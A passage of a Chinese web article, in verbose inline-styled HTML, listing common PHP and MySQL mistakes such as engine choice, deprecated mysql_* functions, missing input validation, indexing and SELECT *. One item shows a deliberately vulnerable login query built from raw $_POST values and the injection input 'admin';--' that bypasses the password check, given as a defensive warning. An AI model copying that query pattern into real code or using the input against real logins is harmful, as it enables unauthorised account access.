0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">MySQL有很多数据库引擎，但是你最可能碰到的就是MyISAM和InnoDB。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">MySQL 默认使用的是MyISAM。但是，很多情况下这都是一个很糟糕的选择，除非你在创建一个非常简单抑或实验性的数据库。外键约束或者事务处理对于数据完整性 是非常重要的，但MyISAM都不支持这些。另外，当有一条记录在插入或者更新时，整个数据表都被锁定了，当使用量增加的时候这会产生非常差的运行效率。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">结论很简单：使用InnoDB。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><strong style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">2、使用PHP的mysql函数</strong><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">PHP自产生之日就提供了MySQL库函数（or near as makes no difference）。很多应用仍然在使用类似mysql_connect、mysql_query、mysql_fetch_assoc等的函数，尽管PHP</span><span style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">手册</span><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">上说：</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">如果你在使用MySQL v4.1.3或者更新版本，强烈推荐使用您使用mysqli扩展。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">mysqli（MySQL的加强版扩展）有以下几个优点：</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">可选的面向对象接口&nbsp;</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">prepared表达式，这有利于阻止SQL注入攻击，还能提高性能&nbsp;</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">支持更多的表达式和事务处理&nbsp;</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">另外，如果你想支持多种数据库</span><span style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">系统</span><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">，你还可以考虑PDO。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><strong style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">3、没有处理<span style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">用户</span>输入</strong><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">这或者可以这样说#1：永远不要相信用户的输入。用</span><span style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">服务器</span><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">端的PHP验证每个字符串，不要寄希望与</span><span style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">Java</span><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">Script。最简单的SQL注入攻击会利用如下的代码：</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">$username = $_POST["name"];&nbsp; &nbsp;$password = $_POST["password"];&nbsp; &nbsp;$sql = "SELECT userid FROM usertable WHERE username='$username' AND password='$password';";&nbsp; &nbsp;// run query...&nbsp;&nbsp;</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">只要在username字段输入&#8220;admin';--&#8221;，这样就会被黑到，相应的SQL语句如下：</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">SELECT userid FROM usertable WHERE username='admin';</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">狡猾的黑客可以以admin登录，他们不需要知道密码，因为密码段被注释掉了。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><strong style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">4、没有使用UTF-8</strong><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">美国、英国和澳大利亚的我们很少考虑除</span><span style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">英语</span><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">之外的其他语言。我们很得意地完成了自己的&#8220;杰作&#8221;却发现它们并不能在其他地方正常运行。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">UTF-8</span><span style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">解决</span><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">了很多国际化问题。虽然在PHP v6.0之前它还不能很好地被支持，但这并不影响你把MySQL字符集设为UTF-8。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><strong style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">5、相对于SQL，偏爱PHP</strong><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">如果你接触MySQL不久，那么你会偏向于使用你已经掌握的语言来解决问题，这样会导致写出一些冗余、低效率的代码。比如，你不会使用MySQL自带的AVG()函数，却会先对记录集中的值求和然后用PHP循环来计算平均值。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">此外，请注意PHP循环中的SQL查询。通常来说，执行一个查询比在结果中迭代更有效率。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">所以，在分析数据的时候请利用数据库系统的优势，懂一些SQL的知识将大有裨益。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><strong style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">6、没有优化数据库查询</strong><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">99%的PHP性能问题都是由数据库引起的，仅仅一个糟糕的SQL查询就能让你的web应用彻底瘫痪。MySQL的EXPLAIN statement、Query Profiler，还有很多其他的</span><span style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">工具</span><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">将会帮助你找出这些万恶的SELECT。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><strong style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">7、不能正确使用数据类型</strong><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">MySQL提供了诸如numeric、string和date等的数据类型。如果你想存储一个</span><span style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">时间</span><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">，那么使用DATE或者DATETIME类型。如果这个时候用INTEGER或者STRING类型的话，那么将会使得SQL查询非常复杂，前提是你能使用INTEGER或者STRING来定义那个类型。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">很多人倾向于擅自自定义一些数据的格式，比如，使用string来存储序列化的PHP对象。这样的话数据库管理起来可能会变得简单些，但会使得MySQL成为一个糟糕的数据存储而且之后很可能会引起故障。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><strong style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">8、在查询中使用*</strong><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">永远不要使用*来返回一个数据表所有列的数据。这是懒惰：你应该提取你需要的数据。就算你需要所有字段，你的数据表也不可避免的会产生变化。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><strong style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">9、不使用索引或者过度使用索引</strong><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">一般性原则是这样的：select语句中的任何一个where子句表示的字段都应该使用索引。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">举 个例子，假设我们有一个user表，包括numeric ID（主键）和email address。登录的时候，MySQL必须以一个email为依据查找正确的ID。如果使用了索引的话（这里指email），那么MySQL就能够使用 更快的搜索算法来定位email，甚至可以说是即时实现。否则，MySQL就只能顺序地检查每一条记录直到找到正确的email address。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><span style="color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; ">有的人会在每个字段上都添加索引，遗憾的是，执行了INSERT或者UPDATE之后这些索引都需要重新生成，这样就会影响性能。所以，只在需要的时候添加索引。</span><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><br style="word-wrap: break-word; word-break: break-all; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: #333333; font-family: 宋体, serif; font-size: 12px; background-color: #ffffff; " /><strong 